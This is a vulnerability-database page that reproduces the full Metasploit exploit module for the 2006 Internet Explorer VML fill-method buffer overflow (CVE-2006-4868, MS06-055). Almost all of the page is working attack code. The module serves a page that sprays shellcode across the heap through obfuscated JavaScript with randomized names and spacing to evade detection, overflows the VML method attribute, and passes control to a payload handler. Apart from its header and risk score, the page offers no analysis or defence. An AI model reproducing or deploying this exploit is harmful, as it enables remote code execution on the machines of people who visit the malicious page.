Internet Explorer VML Fill Method Code Execution

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Internet Explorer VML Fill Method Code Execution vulnerabilit

                                                ##
# $Id: ms06_055_vml_method.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;Internet Explorer VML Fill Method Code Execution&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a code execution vulnerability in Microsoft Internet Explorer using
				a buffer overflow in the VML processing code (VGX.dll). This module has been tested on
				Windows 2000 SP4, Windows XP SP0, and Windows XP SP2.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62;
				[
					&#39;hdm&#39;,
					&#39;Aviv Raff &#60;avivra [at] gmail.com&#62;&#39;,
					&#39;Trirat Puttaraksa (Kira) &#60;trir00t [at] gmail.com&#62;&#39;,
					&#39;Mr.Niega &#60;Mr.Niega [at] gmail.com&#62;&#39;,
					&#39;M. Shirk &#60;shirkdog_list [at] hotmail.com&#62;&#39;
				],
			&#39;Version&#39;        =&#62; &#39;$Revision: 9669 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[&#39;CVE&#39;,   &#39;2006-4868&#39; ],
					[&#39;OSVDB&#39;, &#39;28946&#39; ],
					[&#39;MSB&#39;,   &#39;MS06-055&#39; ],
					[&#39;BID&#39;,   &#39;20096&#39; ],
				],
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;          =&#62; 1024,
					&#39;BadChars&#39;       =&#62; &#34;\x00&#34;,
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[&#39;Windows NT 4.0 -&#62; Windows 2003 SP1&#39;, {&#39;Ret&#39; =&#62; 0x0c0c0c0c} ]
				],
			&#39;DefaultTarget&#39;  =&#62; 0,
			&#39;DisclosureDate&#39; =&#62; &#39;Sep 19 2006&#39;))
	end

	def on_request_uri(cli, request)

		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Determine the buffer length to use
		buflen = 1024
		if (request.headers[&#39;User-Agent&#39;] =~ /Windows 5\.[123]/)
			buflen = 65535
		end

		# Encode the shellcode
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		# Get a unicode friendly version of the return address
		addr_word  = [target.ret].pack(&#39;V&#39;).unpack(&#39;H*&#39;)[0][0,4]

		# Select a random VML element to use
		vmls = %w{ rect roundrect line polyline oval image arc curve }
		vmlelem = vmls[ rand(vmls.length) ]

		# The overflow buffer for the method attribute
		buffer = (&#34;&#x&#34; + addr_word + &#34;;&#34;) * buflen

		# Generate a random XML namespace for VML
		xmlns = rand_text_alpha(rand(30)+2)

		# Randomize the javascript variable names
		var_buffer    = rand_text_alpha(rand(30)+2)
		var_shellcode = rand_text_alpha(rand(30)+2)
		var_unescape  = rand_text_alpha(rand(30)+2)
		var_x         = rand_text_alpha(rand(30)+2)
		var_i         = rand_text_alpha(rand(30)+2)

		# Build out the message
		content = %Q|
&#60;html xmlns:#{xmlns} = &#34; urn:schemas-microsoft-com:vml &#34; &#62;
&#60;head&#62;
&#60;style&#62; #{xmlns}\\:* { behavior: url(#default#VML) ; } &#60;/style&#62;
&#60;body&#62;
&#60;script&#62;

	var #{var_unescape}  = unescape ;
	var #{var_shellcode} = #{var_unescape}( &#34;#{shellcode}&#34; ) ;

	var #{var_buffer} = #{var_unescape}( &#34;%u#{addr_word}&#34; ) ;
	while (#{var_buffer}.length &#60;= 0x400000) #{var_buffer}+=#{var_buffer} ;

	var #{var_x} = new Array() ;
	for ( var #{var_i} =0 ; #{var_i} &#60; 30 ; #{var_i}++ ) {
		#{var_x}[ #{var_i} ] =
			#{var_buffer}.substring( 0 ,  0x100000 - #{var_shellcode}.length ) + #{var_shellcode} +
			#{var_buffer}.substring( 0 ,  0x100000 - #{var_shellcode}.length ) + #{var_shellcode} +
			#{var_buffer}.substring( 0 ,  0x100000 - #{var_shellcode}.length ) + #{var_shellcode} +
			#{var_buffer}.substring( 0 ,  0x100000 - #{var_shellcode}.length ) + #{var_shellcode} ;
	}

&#60;/script&#62;
&#60;#{xmlns}:#{vmlelem}&#62;
	&#60;#{xmlns}:fill method = &#34;#{buffer}&#34; /&#62;
&#60;/#{xmlns}:#{vmlelem}&#62;

&#60;/body&#62;
&#60;/html&#62;
		|

		content = Rex::Text.randomize_space(content)

		print_status(&#34;Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...&#34;)

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1